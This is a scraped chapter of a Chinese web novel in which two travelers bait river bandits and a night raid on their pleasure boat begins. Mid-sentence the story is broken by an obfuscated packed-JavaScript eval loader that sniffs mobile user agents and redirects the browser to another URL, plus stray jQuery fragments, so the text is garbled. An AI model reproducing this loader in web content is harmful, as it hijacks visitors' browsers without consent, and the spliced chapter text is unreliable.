默认冷灰
24号文字
方正启体

93.老龙船户(二)

作者:竹映荞本书字数:K更新时间:
    码头上众人定睛一看,见那位公子手上拿着的是一个沉甸甸的钱袋,立刻都双眼放光,许多船夫高声应和道:“公子坐我们家的船,我稳得很。”


    “去,公子要游湖坐画舫,小船缓行,炭炉一点,热酒一喝,这一路舒舒服服地去,您看多好?”一个船家已经挤了过来,卖力推销起来。


    许多客船和画舫的船工们都围了过来,甚至有那渔船船夫都上前凑热闹。李钰冲着其中一个夸耀自家画舫船舱又宽又精美的道:“我不爱见生人,也要地方宽敞,你那船舱够不够大?”


    “够够够,也没别的客人,就等着公子你们呢?这路我熟得很,船上应有尽有,您要是想听个什么曲儿,我们也是可以……”那年轻人应该是船上的伙计,揽起客来颇有些滔滔不绝的架势。


    李钰见他越说越收不住,打断道:“都说了不见生人了,还要什么唱曲儿的?”


    “诶,是是是,小人想岔了,公子放心,绝不让人扰了您二位。”


    李钰这才高傲地点了点头,道:“那就你们家了,带路吧。”


    “好!您二位小心脚下。”那伙计立刻喜上眉梢,殷勤地引李钰二人上船,引来周围人一阵羡慕嫉妒。


    这小伙计倒是没说假话,他们家画舫确实足够大,也是朱栏翠幕,中舱长窗,内里陈设也颇具格调,花几锦毯,薰炉玉盏、琉璃灯和美人榻一应俱全。二人刚一坐下就有船上的伙计端茶送水,嘘寒问暖,李钰大方地赏了几锭银子出去,将人打发出去了。船舱只剩他们两人后,白行野立刻脱掉鹤羽大氅,道:“可真热。”说着又把身上一堆饰物摘了个干净,才觉身上松快些。


    李钰则轻启窗扉,往外看了看,还有人对着他们这个方向指指点点,脸上都是丢了大肥羊的遗憾。李钰很满意这个反应,关上窗问道:“方才码头可有可疑之人?”


    白行野先是感知了一圈,知道没人偷听,这才说:“有,是小渔舟。”


    原来方才他们置办了这一身的行头,李钰又特意高调行事,引人瞩目,白行野则默不作声,在旁观察四周情形。他们也不确定在码头这一出能否就被人盯上,但实际操作一番下来,还真让白行野看出一些端倪。李钰那般高调地外露钱财,码头船家们都沸腾了,包括那些渔夫,他们自知自家渔船肯定不会被看上,但也都伸着脖子瞧热闹。而只有一艘小渔舟上,有两个汉子也是一直盯着他们这边,但却不停在交头接耳,尤其是看到他们上了哪艘船后,那二人竟悄悄地划小舟离开了。


    “定是去报信的!”李钰笃定道。


    白行野深以为然,“看来演这么一出确实有用,他们果然会在各个码头、渡口安插眼线,好选择要下手的对象。”


    “可是……”白行野顿了一下,疑惑道,“如果如此轻易就能引他们上钩,为何官府不这般作为呢?”


    李钰方才已经考虑过这个问题,解释道:“官府自然可以如此,可那些水匪既然能在这一水路上嚣张这么久,却没有留下任何痕迹,必是十分警惕,或许本就有人盯着官府的人。说不定官府早就如此做过,可他们却不一定可以成功,如果早早就被这伙水匪监视着,官府要想以这个方法引出他们,就算寻来生面孔引诱,可官府要派人保护和捉拿犯人,出动人数必不可少,到这种动静被水匪发现也不意外,定会躲起来。”


    “因为我们既是生面孔,又确确实实就两人,此法才可行。”白行野听了进去,接着李钰的话道。


    李钰微微一笑,“我也是因为有你在才敢如此,就算来他个百八十人,我也是不怕的。”


    这话白行野很是受用,拿起一块桌上的糕点,先是闻了闻,然后喂给李钰作为奖励,他笑着道:“吃吧,没毒。”


    李钰乐了一会儿,才一口接过,边吃边说:“看来这艘船没问题,不过还是小心点,那就辛苦你了,白道长。”


    白行野笑着点头,此时船已启航,他推开窗往外看去。说实话,若非他们此行带着目的,这一路湖光水色,着实是怡人美景,哪怕是冬日也别有一番滋味,朱舫凌波,湖面如镜面般倒映着华彩画舫。船家知道他们不爱被打扰,周围只有船破开水面的波浪声,远处还有几艘渔船撒网,鸬鹚扑水,显出一丝静谧悠然之感。


    可却就是在这仙境般的湖面之上,竟是发生过如此多的命案。白行野的眼神冷了下来,又想起了方才在衙门口碰到的那对老夫妇。二人正常地吃喝却都话少了下来,他们都知道这一路并非真是为了游赏,只用静静等待着意料之中的变故。


    招呼二人上船的伙计,是个挺年轻的小伙,这艘画舫的船主就是他爹。他兴致勃勃地将他爹拉到甲板上,看看尾舱没有跟人出来,才将手中的银锭露出一角,道:“这今日的二位公子真是出手阔绰得很,我进去送次茶水,给了我一锭银子的赏钱,刚才又去送了吃的,又给我赏了一锭银子!”


    船主老于将那银子一把抢了过来,揣进了自己钱袋里,小于立刻垮下脸,不忿道:“爹你怎么这样啊?这是客人赏给我的。”


    老于取下叼在嘴上的烟枪,抬手敲了敲小于的脑袋,道:“拿回去给你娘收着,你还想不想娶媳妇了?”


    小于一听这话立刻高兴了,不再要银子,也好在自己方才偷藏了一点,没跟爹全交代了。他正偷乐着,却见老于看着夜幕降临的天色,好似有些忧心忡忡,疑惑道:“爹,你怎么看起来不开心?”


    老于吧嗒吧嗒地抽了一口烟,吐出一个长长的烟雾,才道:“这两个人在码头的时候太过张扬,我担心被水贼盯上啊。”


    听了这话,小于心中悚然一惊,今日只想着挣钱了,倒忘了这回事,此时也有些不安,但他依旧强笑着说:“哪这么倒霉的?再说了,我们不也带着家伙吗。”


    老于将烟枪在船杆上磕了磕,拍了拍儿子的肩道:“我还是回尾舱里跟大家说一声,之后几天都警醒点。”


    画舫昼行夜泊,经过三湖直入扬州城,大概要行船五天四晚。第一夜无事发生,第二夜行至高邮湖,夜泊一野村渡口,渡口有一粗糙石碑,写着“老龙渡口”四字。此处湖面广阔几乎看不到官船,大片大片白茫茫的芦苇荡,在寒风吹拂下簌簌作响,与潺潺水声有节奏地起伏交织。渡口除了他们的画舫,只有三四残破小渔舟,系绳于堤,晃晃荡荡在堤岸旁飘着,感觉这里应当许久没人来过了。


    今夜是个阴天,月亮在云层遮盖下只剩个朦胧的光团。船舱内本应被炭炉烤得暖暖的,可李钰裹紧身上的锦被,手里握着暖手炉,坚持凑在大开的窗前坐着警戒四周。


    在他又一次忍不住打了个喷嚏后,白行野终是起身关窗,道:“


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17409540|195725||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    有我在,何需你亲自盯着?”


    李钰心想也是,窝进白行野怀里,道:“我倒也是想看看那些人会从什么地方钻出来?我精心挑选的停船位置可不能白费了。”


    “自不必你操心,届时一切有我。”白行野安抚道,“行了,你趁这会儿先睡一觉,有动静我第一时间叫你可好?”


    “好好好,那你可记着叫我。”李钰边说边打了个呵欠,他也确实有些撑不住了,倒在榻上很快便呼吸绵长,进入了梦乡。


    白行野抬手将李钰的被子往上拉了拉,脸上带着温和的笑意。不过,那笑意稍纵即逝,他闭眼感知,那远远坠在画舫后面的小舟仍旧静悄悄地与他们保持着距离,是觉得没到动手的时机,还是在等什么人?


    船舱外,老于也还没睡,他看着黑沉沉的夜色,总觉得今晚有些不安。


    “爹,你怎么还在这儿外面呆着?”小于一手揉着惺忪睡眼,一手提着裤子,一看就是睡到一半起夜的。


    “我睡不着,不如出来守着。”


    小于也知道他爹担心什么,一屁股坐下叹道:“也不知这俩客官怎么想的,非说这芦苇荡极美,还要明早起来看呢!也不知这些枯草有啥可美的?害得我们还得跟着提心吊胆,走快点去前面镇上停船总安全点。”


    “你小子,收人家钱的时候倒是答应得痛快!方才睡得正香的不也是你?”老于毫不留情地拆穿儿子。


    小于挠了挠头,露出憨厚一笑。


    “行了,回去睡吧。”老于赶他,“一会儿我也该跟周大牛换班了。”


    “好吧,爹你一会儿赶紧回舱里啊,外头多冷啊。”小于边说边要往后舱里钻。


    这时,湖面上突兀地响起“哗啦啦”的水声,声音并不大,但父子俩久在水上行船,立刻察觉不对劲。老于腾地站起来,绕着甲板四下查看,小于也神色紧张地跟上,瞪大眼睛观察四周。


    “在那,爹!那个船没点灯!!”小于忽然指向一处大喊道。


    老于也看到了,那隐藏在夜色中的小舟已经离他们很近了!听到小于喊起来,那上面的人也不再收敛动静,加速向他们的画舫靠近!


    “快去船舱叫人!全部人抄家伙!”老于大喊一声,小于立刻转身回舱叫人,老于抓起备在甲板上的鱼叉,直面正不断靠近的小舟。


    在画舫灯光的照射下,终于看清了来人,三个彪形大汉挤在一叶扁舟上本是一副可笑之景,可他们个个手执朴刀,表情不善,一看就是亡命之徒。身后脚步声响起,船工们都手执武器出来了,一人见这场面缓缓呼出一口气,“还好就三个人。”


    话音一落,众人忽觉船身摇晃,背后响起脚步和人声。


    “不好啦!有人从前舱那爬上船了!!”有人叫道。


    原来在所有人聚于后舱甲板严阵以待时,竟有十数贼人自岸边爬上了前舱的甲板,不过片刻甲板上就站满了贼寇,与那小舟上的人一样个个手持朴刀。


    领头的一个汉子提刀往甲板上一戳,恶声恶气道:“识相的,把你们手上的家伙放下,大爷我给你们个痛快!”


    这意思是压根没想给他们活路啊!众人都慌了,后舱甲板上又跳下来一大汉,重重落下的声音惊得众人浑身一哆嗦,扭头去看,便见船尾紧跟着又爬上来二人,是那小舟上的人!
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)